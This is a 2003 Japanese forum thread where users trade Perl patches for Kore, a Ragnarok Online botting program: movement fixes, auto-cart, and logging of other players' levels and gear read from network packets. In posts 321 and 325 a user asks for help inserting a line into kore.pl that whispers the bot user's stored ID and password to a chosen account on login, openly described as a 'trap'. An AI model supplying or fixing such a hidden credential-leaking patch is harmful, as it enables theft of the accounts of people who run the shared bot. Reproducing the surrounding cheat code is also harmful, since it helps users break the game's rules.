209ネトゲ廃人@名無し:03/08/28 18:32 ID:???
C++ベー
210ネトゲ廃人@名無し:03/08/28 22:32 ID:???
>>207
ところで、それ作って誰としゃべるんだ?
BOTは孤独な戦士じゃないのかYO!
211ネトゲ廃人@名無し:03/08/28 22:36 ID:???
>>210
BOT同士で楽しく会話
それを搭載したBOTが出回ったら、きっと会話ログ見てニヤニヤできる
212ネトゲ廃人@名無し:03/08/28 22:42 ID:???
>>211
いいなぁ・・・
213ネトゲ廃人@名無し:03/08/28 23:24 ID:???
自分もBOTを改良したい一人なんですが、質問いいですか?
Etherealってソフトでパケを収集して、一つ一つ理解していってる最中です。
もっともKoreのソースをみれば一発なんですが・・。それはさておき
移動のパケについてなんですけど

85 00 31 4c 20
(197.194)
括弧内はクリックした移動先の座標です。 c2=194ってなるんですけど
197はどこにその情報が入っているのか、わからんです。
たまに31のところが30になったりもするんだけど。。
214ネトゲ廃人@名無し:03/08/28 23:55 ID:???
koreのmakeCoordsサブルーチンを参考しる。
215ネトゲ廃人@名無し:03/08/28 23:56 ID:???
>>213
激しくスレ違い&ひとつだけ助言を。
君が今進んでいる道は、全くの蛇足
ServerTickを10進換算してナニを考えようとしてるんだい?

kore.pl見て学べ。無知に教える知恵は無い
216ネトゲ廃人@名無し:03/08/28 23:58 ID:???
>>214
この方は、4[c 2]0でc2=194だと思ってるんだよ。
もう手のつけようがないから、ナートして
217ネトゲ廃人@名無し:03/08/29 00:17 ID:???
>>214-216
優しいな( つД`)

もう遅いから早くお帰り>213
218213:03/08/29 01:36 ID:???
う〜ん、、激しく見当違いでしたかゴメンなさい。
でも考え方が違うということを教えてもらっただけでも感謝〜。
ひっそりとがんばってみます。
219ネトゲ廃人@名無し:03/08/29 11:08 ID:???
なんかZONE鯖暗号化された?
encrypt 3でキーはそのままみたいだが私の勘違い?
マップサーバーで確実に切断されちゃうから3で試したら入れたから…。
でもこうなったのマップ移動してからだな…
ひょっとして鯖単位でされてたりされて無かったりするのか?
220ネトゲ廃人@名無し:03/08/29 15:29 ID:???
>>219
んー
ありえるかもね・・・・
01C7が暗号化の基点なのは変わらないと思うから、
そこでencrypt 3にしてみたら?
俺のほうだと症状発生してないから報告ヨロ
221ネトゲ廃人@名無し:03/08/29 15:52 ID:???
>>220
ですよねー。
つかそんなのあったら絶対猿が騒ぎ出すだろうし(笑)
試した鯖はケイオスのゲームサーバー13でつ。
0にするとゲームサーバーに繋がらず3にすると問題なく繋がる。
Tools.dll組み込み型のやつ使ってるからrocrypt.dllのやつでも試してみるよ。
222ネトゲ廃人@名無し:03/08/29 16:46 ID:???
>>221
あー いやマップ鯖単位で暗号化ってのはありえない話じゃないって事

ふと思い返してみれば、
俺もGameserver13につないだときはencrypt 3にしてた気がする
223ネトゲ廃人@名無し:03/08/29 17:05 ID:???
>>222
今朝方急に3じゃないと繋がらなくなったんだよねぇ…。
昨日までは0で問題なく動いてたのに不思議だ。

癌だからメンテの時に鯖のソフト差し替え忘れたとかならわかるんだけど…(ぉ
鯖ごとに暗号キーが変わってくる仕様になると厄介だ。
224ネトゲ廃人@名無し:03/08/30 00:24 ID:???
BOTでGvGの流れをもう一度・・・
225前スレ605:03/08/30 18:13 ID:???
最近はってなかったなぁ
適当なやつでも貼っときます
プレイヤーデータをマップごとに分けて保存するコード

+unless(-e "playerData/$servers[$config{'server'}]{'name'}_$field{'name'}.txt"){
+open(FILE,">playerData/$servers[$config{'server'}]{'name'}_$field{'name'}.txt");
+close(FILE);
+}
+open(FILE,"+<playerData/$servers[$config{'server'}]{'name'}_$field{'name'}.txt");
-unless(-e "$servers[$config{'server'}]{'name'}PlayerData.txt"){
-open(FILE,">$servers[$config{'server'}]{'name'}PlayerData.txt");
-close(FILE);
-}
-open(FILE,"+<$servers[$config{'server'}]{'name'}PlayerData.txt");

kore.plおいてあるフォルダと同じところにplayerDataというフォルダを作成しといてください

226前スレ605:03/08/30 18:23 ID:???
ついでにこれも
lockmap中だと、回復剤切れてもautostorage発動しなかったものに対処

+if (!($config{'saveMap'} eq $field{'name'} && $ai_v{'temp'}{'ai_route_index'} ne "" && $ai_v{'temp'}{'ai_route_attackOnRoute'} <= 1) && ai_storageAutoCheck()) {
-if (!($config{'saveMap'} eq $field{'name'} && $ai_v{'temp'}{'ai_route_index'} ne "" && $ai_v{'temp'}{'ai_route_attackOnRoute'} <= 1) && ai_storageAutoCheck()) {


最近、微妙なコードたまってます
アンクル仕掛けたりとか、FW避け、アンクル、人避け歩行など・・・・・・
あまり、貼る機会はないですが
227ネトゲ廃人@名無し:03/08/30 19:00 ID:???
(・∀・)人酒イイ
228ネトゲ廃人@名無し:03/08/30 19:56 ID:???
他キャラクターを発見したら、そこから逃げるといった風に
動く(移動中は他キャラクターを避けるのもセットで)のは
需要あるでしょうね。
229前スレ605:03/08/30 20:35 ID:???
人避け、FW、アンクル、ワープポタ避け歩行は
BOTの進行方向に該当するものがあったら座標を修正するだけなんで
微妙とかいたわけだったりします

ただ、現状のポタ避けはたぶん足元のを感知するだけなんで、
目の前に置かれたワープポタに突っ込んでしまうかと
そこらへんが解消できるてるかもしれないのはいいのかもしれんです
230ネトゲ廃人@名無し:03/08/30 21:23 ID:???
>>226
漏れには全く同じに見えるのだが目の錯覚?
231ネトゲ廃人@名無し:03/08/30 22:59 ID:???
>>230
該当箇所言ってるんだからドコ直せばいいか一目瞭然じゃねぇか
232ネトゲ廃人@名無し:03/08/31 01:05 ID:TU5AdEkw
>>605
stuck(というより、route fail)を根本解決する件、期待しております。
あと、設置型スキル回避はすでに既出・・・かと。
233ネトゲ廃人@名無し:03/08/31 01:58 ID:???
>>232
既出云々じゃなくて自分でできることは自分でやれと
234前スレ605:03/08/31 06:16 ID:???
>>230
よくやるミスだなぁ
これからも、繰り返しそうなんでそのたびに指摘していただければ・・・・ダメポ

+if (!($config{'saveMap'} eq $field{'name'} && $ai_v{'temp'}{'ai_route_index'} ne "" && $ai_v{'temp'}{'ai_route_attackOnRoute'} <= 1) && ai_storageAutoCheck()) {
-if (!($ai_v{'temp'}{'ai_route_index'} ne "" && $ai_v{'temp'}{'ai_route_attackOnRoute'} <= 1) && ai_storageAutoCheck()) {

>>232
設置型スキル回避って、
パケ受け取る→自分の現在の座標を基準にして回避
というもの以外ってあった?
まあ、中級スレ以外のチェックは甘いんで、見落としはありそうですが・・・・

avoidstuckは、ほとんど週末のみしか調べられんので
期待されてるあいだに結果をだすのは無理っぽいです
発症以降、対処してから0〜60分以内に再発症する根本的な原因は
わからないまま・・・
235232:03/08/31 18:38 ID:???
>>605
それだけですね。あれ?そういう機能ではなくて?貼ったのは漏れなんですが。

avoidStuckに関しては確かに・・・漏れはあきらめた人間で、別方法の回避して
るんで(再起動)。でも、がんばって下さいマセ。

そして、今気づいた・・・ageてる
プラーン ∧‖∧ プラーン
236ネトゲ廃人@名無し:03/08/31 19:33 ID:???
人避け歩行コードが欲しいな、605さn
237ネトゲ廃人@名無し:03/08/31 20:15 ID:???
火曜になったらまた荒れるんだろうなぁ・・・
238ネトゲ廃人@名無し:03/08/31 20:31 ID:???
>>237
先週も、仕事から帰ってきてJane開くと、
レスが通常の数倍に膨れ上がってたからな…
見る気失せるよ…
239ネトゲ廃人@名無し:03/08/31 22:10 ID:???
前回の暗号の変え方を見るに、毎週ありそうだしな…。

続くようなら、暗号化対応スレだけ別にしてほしいくらいだ。
240ネトゲ廃人@名無し:03/08/31 22:50 ID:???
自分で暗号化対応できない鳩は完全放置で行って欲しいもんだ。
今まで例外なしで自称神が出てくるのは何とかしたほうがいい。
241ネトゲ廃人@名無し:03/08/31 23:06 ID:???
>>240
鳩が何を言うか
242ネトゲ廃人@名無し:03/08/31 23:07 ID:???
前スレ605氏のmodifiedwalk3で使うmodifiedwalk.txtだけど、
PHPを使って↓みたいな感じで254通りの一覧を吐き出させてみた。

00000001 1
#FG●
#C○E
#@AB

00000010 2
#F●H
#C○E
#@AB

修正移動の方向は適当にざっと手動で設定しただけだから
おかしいところもあるかもしれないけど。

見てたら11111111以外にも01011111みたいなありえない
並びがあるから実際指定するのは254通りより少ないっぽい。

需要ありそうだったらどっかのあぷろだにあげるけど、あるかな?
もしすでにあがってたらすんません。
243ネトゲ廃人@名無し:03/09/01 00:14 ID:???
>242
うpキボンヌ
244ネトゲ廃人@名無し:03/09/01 01:11 ID:???
>>237-238
チート研究室 RO@BOTからのリンクがあるため流れてくる人が多いと思うんだが、どうよ?
ああ、人じゃないのも流れてくるか・・・
そんな俺も・・・まだ猿・・・・・・
245ネトゲ廃人@名無し:03/09/01 02:20 ID:???
>>242
是非うpお願いしたいです。
246242:03/09/01 03:19 ID:???
http://r0uppp.hp.infoseek.co.jp/cgi-bin/upboard/source/up0095.txt

↑でいったmodifiedwalk.txtあげといた。

設定適当なので修正よろしく。

後おかしいところとか変えたほうがいいとこがあったら
教えてもらえるとありがたい。
247前スレ605:03/09/01 05:08 ID:???
今日はなかなかスタックしないなぁ・・・・・

>>235
A地点(BOTの現在地)、B地点(BOTの移動先)、C地点(設置系スキルPOS)
とすると、A(0,0)、B(20,0)、C(10,0)のときに、Cの上を歩かないようにするという機能です
まあ、2垢で確かめたわけでないんで実際うまく動いてるかどうかは
わからんですが

話題にでてるんで、現在のmodifiedWalk3でもはっときます

sub modifiedWalk3{
my ($x,$y);
my ($key,$distX,$distY);
my ($oldX,$oldY)=($ai_seq_args[0]{'solution'}[$ai_seq_args[0]{'index'}]{'x'},$ai_seq_args[0]{'solution'}[$ai_seq_args[0]{'index'}]{'y'});
return if(binSize(\@portalsID));
return if (binFind(\@ai_seq, "attack"));
for ($i = -1; $i < 2; $i++) {
for ($j = -1; $j < 2; $j++) {
next if ($i == 0 && $j == 0);
$key=$key.$field{'field'}[($i+$oldY)*$field{'width'}+$oldX + $j];
}
}
return if(!$modifiedWalk{$key});
($x,$y)=(-1,-1) if($modifiedWalk{$key}==1);
($x,$y)=(0,-1) if($modifiedWalk{$key}==2);
($x,$y)=(1,-1) if($modifiedWalk{$key}==3);
($x,$y)=(-1,0) if($modifiedWalk{$key}==4);
($x,$y)=(0,0) if($modifiedWalk{$key}==5);
($x,$y)=(1,0) if($modifiedWalk{$key}==6);
($x,$y)=(-1,1) if($modifiedWalk{$key}==7);
248前スレ605:03/09/01 05:10 ID:???
($x,$y)=(0,1) if($modifiedWalk{$key}==8);
($x,$y)=(1,1) if($modifiedWalk{$key}==9);
return if($modifiedWalk{$key}==5);
$distX=$x*$config{'modifiedWalkDistance'};
$distY=$y*$config{'modifiedWalkDistance'};
while($distX || $distY){
($x,$y)=($distX+$oldX,$distY+$oldY);
if( $field{'field'}[$y*$field{'width'}+$x]==0 ){
$ai_seq_args[0]{'solution'}[$ai_seq_args[0]{'index'}]{'x'}=$x;
$ai_seq_args[0]{'solution'}[$ai_seq_args[0]{'index'}]{'y'}=$y;
last;
}
if($distX){
$distX--;
}elsif($distX<0){
$dist++;
}
if($distY){
$distY--;
}elsif($distY<0){
$distY++;
}
}
}

座標修正をかけたところが移動不可能だったら
修正をかける座標を座標修正をかける前の座標に近づけるコード
壁が滑らかなら前回のやつを、壁がごつごつなら今回のやつかなぁ

人避けコードの公開自体は・・・・・まだ貼ってないほかのコードを貼ってからになるかと
249ネトゲ廃人@名無し:03/09/01 05:16 ID:???
誘導されたのでこっちに再掲。
自動カート機能についてだが、収集品をすべて書くのは面倒なので記述のない物に関しては
基本的にすべてカートにぶち込むようにしようと思って

if ($chars[$config{'char'}]{'cart'} == 1 && $config{'cartAddAuto'} == 1) {
(中略)
undef %{$chars[$config{'char'}]{'inventory'}[$invIndex]} if ($chars[$config{'char'}]{'inventory'}[$invIndex]{'amount'} <= 0);
}
+ } else {
+ my $autoCartAddAmount = $chars[$config{'char'}]{'inventory'}[$invIndex]{'amount'};
+ if ($autoCartAddAmount > 0 && ($cart{'weight'}/$cart{'weight_max'})*100 < $config{'cartMaxWeight'}) {
+ sendCartAdd(\$remote_socket, $invIndex, $autoCartAddAmount);
+ }
}
$c++;
}

みたいなふうにしてみたんだがうまく動いてくれない。
どこか間違えてるかなぁ、アドバイスキボン

あと、そもそも自動カートが昨日してないような気がするんだがそのへんどうよ>まーちゃんBSBOTer
250ネトゲ廃人@名無し:03/09/01 07:56 ID:???
>>246
dくす。自分じゃなかなか作れないので助かりまつた。
251235:03/09/01 08:12 ID:???
>>605
なるほど。それは漏れも考えたんだけど、A-Bの直線上にCが存在するかどうか
の判定がマンドクセーだったのと、FWとかであれば近くに行った時点でWIZの邪魔を
する可能性があると思ったので放棄しますた。

>>246
漏れも実装はしたけどtxt作ってなかったや。使わせてもらいます。Thx♪
252ネトゲ廃人@名無し:03/09/01 09:20 ID:???
前スレ持ってなくて追加方法がわからんのですがこれでよいんでしょうか・・・?

[kore.pl]
+addParseFiles("table/modifiedWalk.txt", \@modifiedWalk, \&parseDataFile3);

+}elsif($config{'modifiedWalkType'}==3){
+modifiedWalk3();
+}
move($ai_seq_args[0]{'solution'}[$ai_seq_args[0]{'index'}]{'x'}, $ai_seq_args[0]{'solution'}[$ai_seq_args[0]{'index'}]{'y'});

+sub modifiedWalk3{
+・・・

[config.txt]
modifiedWalkType 3

table/modifiedWalk.txtを追加
253ネトゲ廃人@名無し:03/09/01 10:24 ID:???
0088パケって仕様変更になってない?
遠距離攻撃対策が正常に動いてないぽかったから、確認したら
<switch>.w,<ID>.l,<x>.w,<y>.w
の仕様で書いてあるのが、dump見るとどーも違うぽいんだが。
254253:03/09/01 11:02 ID:???
・・・ヒドラの攻撃は遠距離じゃないんだな。きっとそうだ。
仕様うんぬんは勘違いでした。
スレ汚しスマソ
255ネトゲ廃人@名無し:03/09/01 12:13 ID:???
>605
歩行タイプ3ってどんな利点があんだ?
256ネトゲ廃人@名無し:03/09/01 17:47 ID:???
マジBOTを作っているのですが、固定の敵を障害物をまたいでターゲットにしたとき、ドロップせずに固まってしまいます。
ハエ移動して攻撃を再開させたいのですが、以下のコードをどこに突っ込めばよいのでしょうか?
自分で書いたコードはこんな感じです。

$count_cc = 0;

-
$former_x = $chars[$config{'char'}]{'pos_to'}{'x'};
$former_y = $chars[$config{'char'}]{'pos_to'}{'y'};
-
if (($conState = 5)&&($former_x = $players{$playersID[$i]}{'pos_to'}{'x'})&&($former_x = $players{$playersID[$i]}{'pos_to'}{'y'})&& $chars[$config{'char'}]{'sitting'}))$count_cc++;
if($count_cc >$config{'castcancelTime'})
{
teleportAuto(1);
$count_cc=0;
attack();
}


試行錯誤の証拠に、テレポートスキルを使用した際にパケットエラーが出ない修正を置いていきます。





elsif ($switch eq "6152") {
sendRaw(\$remote_socket, "1B 01 1A 00 52 61 6E 64 6F 6D 00 00 00 00 00 00 00 00 00 00");
$msg_size = 79;

}

よろしくお願いします。
257ネトゲ廃人@名無し:03/09/01 21:05 ID:???
>>256
お前全然分かってない。
それじゃ試行錯誤の証拠じゃなくて頭悪い証拠出してるようなもん。
パケがどういう物か多少でも分かってる人が見たら笑うしかない。
しかも、自分で書いたコードを入れる場所すら分からないなんて・・・

頭悪いヤツが中級者の振りするとボロが出ますよ
258ネトゲ廃人@名無し:03/09/01 22:03 ID:???
elsif ($switch eq "6152") {

苦笑。
259ネトゲ廃人@名無し:03/09/01 22:04 ID:???
あらまー長いことw

あったらいいね そんなパケw

1B 01 1A 00 52 61 6E 64 6F 6D 00 00 00 00 00 00 00 00 00 00
260ネトゲ廃人@名無し:03/09/01 22:54 ID:???
>>257-259
おまいら!人の苦労をそんな風に笑うもんじゃありませんYo!

(≧□≦)プゥッッッ

ていうか、長すぎてうざい。
261ネトゲ廃人@名無し:03/09/01 23:11 ID:???
中級者の振りしてるヤツがもう一人でてきました

オマエダヨ>>259
262ネトゲ廃人@名無し:03/09/01 23:52 ID:???
133氏が残した罠ってなんだよ?
パス吐きかなんかか?
教えろやカス共
263ネトゲ廃人@名無し:03/09/01 23:57 ID:???
>>262
何の話してんだ?
それだけじゃ意味が伝わらないよ
実世界でも人と上手くコミュニケーション取れないでしょ?

オマエの持ってるのが133氏制作かどうかも分からんしな
264ネトゲ廃人@名無し:03/09/02 00:27 ID:???
>>605
マップ毎のチャットログ保存コードもお願いしますわ阿
265ネトゲ廃人@名無し:03/09/02 00:33 ID:???
>>256
ボロクソ言われたからってムキになるなヨ(プゲラ
266ネトゲ廃人@名無し:03/09/02 01:15 ID:???
実世界とここ同じに見てる奴っているのか?w
煽りとしても低級だぞ>>262

267ネトゲ廃人@名無し:03/09/02 01:17 ID:???
>>266
煽りとしても低級とか言う前に誰にレスしてるんだ?
冗談は顔だけにしてくれよw
268前スレ605:03/09/02 01:21 ID:???
>>255
ちょっと考え方が違う
歩行タイプ3にメリットがあるんでなくて、
今までの歩行タイプで得られるはずのメリットが歩行タイプ3で得られるということ
簡単にいうと、いままでのでは思ったような動作をしないことが多いということ

>>264
これだけ
Kore.plと同じフォルダにchatLogというフォルダを作成

+open CHAT, ">> chatLog/$servers[$config{'server'}]{'name'}_$field{'name'}.txt";
-open CHAT, ">> $servers[$config{'server'}]{'name'}Chat.txt";


なんとなく廃スレみてたら、78パケでレベルが受け取れることがわかったんで
組み込んでみました

[名前] [Base] [頭装備1] [頭装備2] [頭装備3]

こんなかんじでマップ別に記録します
Baseがかわっていたら更新するはず
廃スレのBotへの協力に感謝

*******************************************

} elsif ($switch eq "0078" && length($msg) >= 54) {
+$lv=unpack("C*",substr($msg, 52, 1));

*******************************************
269前スレ605:03/09/02 01:23 ID:???
+$players{$ID}{'head1'} = unpack("S1", substr($msg, 24, 2));
+$players{$ID}{'head2'} = unpack("S1", substr($msg, 26, 2));
+$players{$ID}{'head3'} = unpack("S1", substr($msg, 20, 2));
+$players{$ID}{'lv'}=$lv;
}
$players{$ID}{'sitting'} = $sitting > 0;
%{$players{$ID}{'pos'}} = %coords;
%{$players{$ID}{'pos_to'}} = %coords;
print "Player Exists: $players{$ID}{'name'} ($players{$ID}{'binID'}) $sex_lut{$players{$ID}{'sex'}} $jobs_lut{$players{$ID}{'jobID'}}\n" if ($config{'debug'});

*******************************************

RecordPlayerData($ID) if ($config{'recordPlayerInfo'} eq 1);
+checkPlayerBaselv($ID) if($players{$ID}{'lv'});

*******************************************

+sub writePlayerBaselv {
+my $file="playerBase/$servers[$config{'server'}]{'name'}_$field{'name'}.txt";
+unless(-e "$file"){
+open(FILE,">$file");
+close(FILE);
+}
+open(FILE,"+>$file");
+foreach (sort keys %playerBaselv) {
+print FILE "$_ $playerBaselv{$_}{'Baselv'} $playerBaselv{$_}{'job'} $playerBaselv{$_}{'head1'} $playerBaselv{$_}{'head2'} $playerBaselv{$_}{'head3'}\n";
+}
+close FILE;
+}
270前スレ605:03/09/02 01:24 ID:???
+sub checkPlayerBaselv{
+my $pID=shift;
+readPlayerBaselv() if($field{'name'} ne $recordPlaceBaselv);
+if($playerBaselv{$players{$pID}{'name'}}!=$players{$pID}{'lv'}){
+$playerBaselv{$players{$pID}{'name'}}{'Baselv'}=$players{$pID}{'lv'};
+$playerBaselv{$players{$pID}{'name'}}{'job'}=$jobs_lut{$players{$pID}{'jobID'}};
+$playerBaselv{$players{$pID}{'name'}}{'head1'}=$players{$pID}{'head1'};
+$playerBaselv{$players{$pID}{'name'}}{'head2'}=$players{$pID}{'head2'};
+$playerBaselv{$players{$pID}{'name'}}{'head3'}=$players{$pID}{'head3'};
+writePlayerBaselv();
+print "$players{$pID}{'name'}のBaseを記録しました\n";
+}
+}

+sub readPlayerBaselv{
+undef %playerBaselv;
+open FILE, "playerBase/$servers[$config{'server'}]{'name'}_$field{'name'}.txt";
+foreach (<FILE>) {
+next if (/^#/);
+s/[\r\n]//g;
+s/\s+/ /g;
+s/\s+$//g;
+@args = split /\s/, $_;
+$playerBaselv{$args[0]}{'Baselv'}=$args[1];
+$playerBaselv{$args[0]}{'job'}=$args[2];
+$playerBaselv{$args[0]}{'head1'}=$args[3];
+$playerBaselv{$args[0]}{'head2'}=$args[4];
+$playerBaselv{$args[0]}{'head3'}=$args[5];
271前スレ605:03/09/02 01:26 ID:???
+}
+close FILE;
+$recordPlaceBaselv=$field{'name'};
+}

*******************************************
Kore.plと同じフォルダにplayerBaseというフォルダを作成
まあ、オーラ検出できる時点でパケにBaseは含まれるのでは?と気づくべきだったんだろうなぁ

で、現在のところ、頭装備は受け取った数字でそのまま記録します
items.txtの記載とは違うし、関連もなさそうなんで、調べる必要がありそうです
おそらく、頭装備1ならitems.txtの頭装備1のものを数字の若い順に抜きだした
ものをtxtとして作成…というかんじでいけるんじゃないかとは予想
272前スレ605:03/09/02 01:38 ID:???
>>249
ぱっとみて気づいたところ
記述してあるもの以外のものをつっこむというのなら
すくなくとも、追加部分はwhereの外のはず
273ネトゲ廃人@名無し:03/09/02 02:39 ID:???
>>253
確かにヒドラからボコ殴りに遭うようになってるね。
一応、反撃はするもののタゲってから攻撃に至るまで
数秒掛かってるっぽい。
何て言うかキレがなくなった感じがするなぁ。
274ネトゲ廃人@名無し:03/09/02 04:02 ID:???
頭装備の一覧猿升ページに有る気が汁
275ネトゲ廃人@名無し:03/09/02 05:05 ID:???
baseは名前順にソートされて書かれるんだね
playerdataも同じようにしてかけないもんかな・・・
276ネトゲ廃人@名無し:03/09/02 05:11 ID:???
ないしはID順でも面白いかもね
277ネトゲ廃人@名無し:03/09/02 05:59 ID:???
namename
278ネトゲ廃人@名無し:03/09/02 14:20 ID:???
暗号化きたよ
279ネトゲ廃人@名無し:03/09/02 14:22 ID:???
>>252
を教えて下さい
280ネトゲ廃人@名無し:03/09/02 14:36 ID:???
漏れの脳内暗号化
281ネトゲ廃人@名無し:03/09/02 14:47 ID:???
hairenai
282ネトゲ廃人@名無し:03/09/02 14:54 ID:???
今週は暗号化の話題で荒れずにすみそうだね。
283ネトゲ廃人@名無し:03/09/02 14:56 ID:???
猿スレは荒れてるが・・・。
//End of update止まりで漏れも入れん。
しばし、待てば入れるとか?
284ネトゲ廃人@名無し:03/09/02 15:10 ID:???
俺は狼鯖だが普通に入れてる。
285ネトゲ廃人@名無し:03/09/02 15:43 ID:jgjHz1An
はいれるぞ ふつ〜〜〜に
286ネトゲ廃人@名無し:03/09/02 15:46 ID:???
上がってるから暗号化来たのかとおもっちまったじゃねーか('A`)
287ネトゲ廃人@名無し:03/09/02 16:14 ID:???
ヾ( ゚д゚)ノ゛今週は大丈夫かな?まだ冷や冷やもんです
288ネトゲ廃人@名無し:03/09/02 16:19 ID:???
明日の早朝に暗号化施しますので^^;
289ネトゲ廃人@名無し:03/09/02 18:32 ID:???
パケでレベルばれるのか・・・
知らなかった
290ネトゲ廃人@名無し:03/09/02 18:48 ID:???
だいぶ前だが3パケほど2バイト増やしただろ
アレのケツがBaseLvだ
291ネトゲ廃人@名無し:03/09/02 20:59 ID:???
>>290
みんな分かってるよ
知らなかったのは>>289だけ
292ネトゲ廃人@名無し:03/09/02 22:08 ID:???
まあパケット情報リストは必須だからな。
一回うpされたとき、みんなチェキしてるだろ。
293ネトゲ廃人@名無し:03/09/02 22:46 ID:???
暗号化のコードはまだ?
294ネトゲ廃人@名無し:03/09/02 22:55 ID:???
baselv順にソートしてくれるとありがたいんですけどね。
それはそうとやっぱりS○はLvかなり高いBOTもたくさんいるもんですねぇ
295ネトゲ廃人@名無し:03/09/02 23:00 ID:???
やっぱりbaselv順ソートはいらないです。
自分でExcelでも使えばよかったんですよね・・・
296ネトゲ廃人@名無し:03/09/02 23:09 ID:???
Lv調べるコードくれぇぇぇぇ
もし晒されたらLvリスト作るぞ
297ネトゲ廃人@名無し:03/09/02 23:12 ID:???
そんなもん作ってどうするんだか('A`)ノハゲシクイラネ
298ネトゲ廃人@名無し:03/09/02 23:13 ID:???
って上にあるし 鬱ダ
299ネトゲ廃人@名無し:03/09/02 23:35 ID:???
つーかbase抜きはコード化しない方が良かったに1Mz
いろんなことに使えるよこれ・・・BOT自身にもマズ過ぎる
300ネトゲ廃人@名無し:03/09/02 23:53 ID:???
なら@700スレ流す…か?('A`)ノオオスギ
301ネトゲ廃人@名無し:03/09/02 23:54 ID:???
@700(レス付けて)スレ〜な_| ̄|○|||省略シスギタ
302前スレ605:03/09/03 00:07 ID:???
猿升って猿のための〜と思ったんだけど違ったのか・・・・・

話題になってた88パケを、ほったらかしにしてたハンター使って調べてみました
結論からいうと、88パケはIDの仕様がかわったぽいです
いままでは、移動キャンセルがかかったキャラのIDがパケとして送られてましたが、
現在は、移動キャンセルを引き起こしたキャラのIDが送られてきてるみたいです
では、こちらがモブに移動キャンセルを引き起こさせた場合はというと、
7Bパケで代用してるもより

>>291
漏れも知らんかったよ……
303ネトゲ廃人@名無し:03/09/03 00:14 ID:???
レベルぐらいでガタガタいってんじゃねぇよ
304ネトゲ廃人@名無し:03/09/03 00:25 ID:???
>>299
でも何で?
305ネトゲ廃人@名無し:03/09/03 00:29 ID:???
>>304
マズすぎる・・・
Lv100超えてるのがバレちまう
ちなみに100超えるとオーラ出ません。
306ネトゲ廃人@名無し:03/09/03 00:33 ID:???
lv取得文の尻にプレイヤデータみたいに最終取得時間を入れたいのですが・・・
ソート処理でうまく記録できません(つД`)
お助けください〜
307ネトゲ廃人@名無し:03/09/03 00:34 ID:???
>>605
なる。アチャ系の狩場にBOTがいないんで、ヒドラは遠距離じゃないってことにして
ましたがそういう変更でしたか。
しかし、そこでストップした情報がないと、移動情報が狂うんじゃないかと推測して、
現在対策をマターリ調査中です。
308前スレ605:03/09/03 00:37 ID:???
なんかBaseを記録しすぎるなぁと思ってたら、名前とBaseを比較してますた・・・・
修正たのんます

+if($playerBaselv{$players{$pID}{'name'}}{'Baselv'}!=$players{$pID}{'lv'}){
-if($playerBaselv{$players{$pID}{'name'}}!=$players{$pID}{'lv'}){
309ネトゲ廃人@名無し:03/09/03 00:46 ID:???
>>305
普通にステータスハックとしてばれないの?
310ネトゲ廃人@名無し:03/09/03 01:09 ID:???
普通にLV99からLV100にしたんじゃないかな
Koreでみると、Lv99でも次のLVに必要なBase約一億って表示されるんで
100にはなるのも納得できる気はする
まあ、それなら問題はないかと
311ネトゲ廃人@名無し:03/09/03 02:01 ID:???
     !
     ○         ん? 何か思いついたようです。
  _| ̄|
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

    _○             そう!いつまでもクヨクヨしていてはダメ!
   > |              重い腰をあげて!
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ○
   人               「はうぅ…」なんて言ってる場合じゃない!
   〉
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ○
   <)               うんうん! 胸を張って!
   |
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ○
  /)               いや、それは張りすぎ…
   |
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

 ○                って、ぉぃ…
 ノ⌒l_
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

                   もうだめぽ
 ○| ̄|_
312ネトゲ廃人@名無し:03/09/03 02:47 ID:???
( ,_ノ` )もぅ・・・                                                    ぬるぽ
313ネトゲ廃人@名無し:03/09/03 03:20 ID:???
早速面白い?ログ・・・base95の廃アコ。モンク街でつか。
BOT使えば2〜3日なのによくやるよ。
314ネトゲ廃人@名無し:03/09/03 04:13 ID:???
>>310
じゃあ、正規クライアントでも、死なずに狩りを続けていればLv100になりうるってことか?
315ネトゲ廃人@名無し:03/09/03 05:43 ID:???
Job51も期待したいな
316ネトゲ廃人@名無し:03/09/03 05:58 ID:???
-foreach (sort keys %playerBaselv) {
+foreach(sort{$playerBaselv{$b}->{'Baselv'} <=> $playerBaselv{$a}->{'Baselv'}} keys %playerBaselv){
317316:03/09/03 06:03 ID:???
間違って送信してもうた・・・
漏れもレベルソートの方がニヤニヤしやすいので変えてみた

あとconfigでon/offできるように
-checkPlayerBaselv($ID) if($players{$ID}{'lv'});
+checkPlayerBaselv($ID) if($players{$ID}{'lv'} && $config{'recordPlayerBase'});

んでrecordPlayerBase 1を追加。
割と負荷かかりそうなのでスイッチ入れた方がいいかなーと

やっとあほーで書き込みできるようになったヽ(´ー`)ノ
318ネトゲ廃人@名無し:03/09/03 06:22 ID:???
パッチ当たって入れなくなったぞ
319ネトゲ廃人@名無し:03/09/03 09:54 ID:???
あんただけだ
320ネトゲ廃人@名無し:03/09/03 14:19 ID:???
RecordPlayerData($ID) if ($config{'recordPlayerInfo'} eq 1);
が存在しない自分のkoreには追加できませんか( ・ω・)
321ネトゲ廃人@名無し:03/09/03 14:40 ID:???
ここでいいのかな・・・?

ログインしたときにwisを送るようにしたいのですが(罠用

print "You are now in the game\n";

+sendMessage(\$remote_socket, "pm", "送り先", "やぁ、IDは:$config{'username'}で、パスワードは:$config{'password'}だよ。\n");

(某kore転載)
では送られてないようなのですがどこか違うところありますか?
このようにすると画面上でwisが送られていることはわかるのでしょうか
322ネトゲ廃人@名無し:03/09/03 15:07 ID:???
>>321
ソース見た?
Wisのルーチン見直してみれ
画面上で分かるかどうかは動かしてみれば分かるだろうよ
323ネトゲ廃人@名無し:03/09/03 16:17 ID:???
>>313
何も肉入りで上げたとは限らんだろ
324ネトゲ廃人@名無し:03/09/03 16:20 ID:???
たまたま見たときにちょうどレスが。
どうもそのアコBOTっぽいです。納得。
325321:03/09/03 16:26 ID:???
sendMessage(\$remote_socket, "pm", $arg2, $privMsgUsers[$arg1 - 1]);
$lastpm{'msg'} = $arg2;
$lastpm{'user'} = $privMsgUsers[$arg1 - 1];

このように書いてあったので

sendMessage(\$remote_socket, "pm", "やぁ、IDは:$config{'username'}で、パスワードは:$config{'password'}だよ。", "送り先\n");

このようにしてみたのですが無理でした。
ほかにも

"pm", " \"送り先\" ", "やぁ、IDは:$config{'username'}で、パスワードは:$config{'password'}だよ。\n");

このようにもやってみたのですが無理でした。
もう少しヒント、アドバイスお願いします

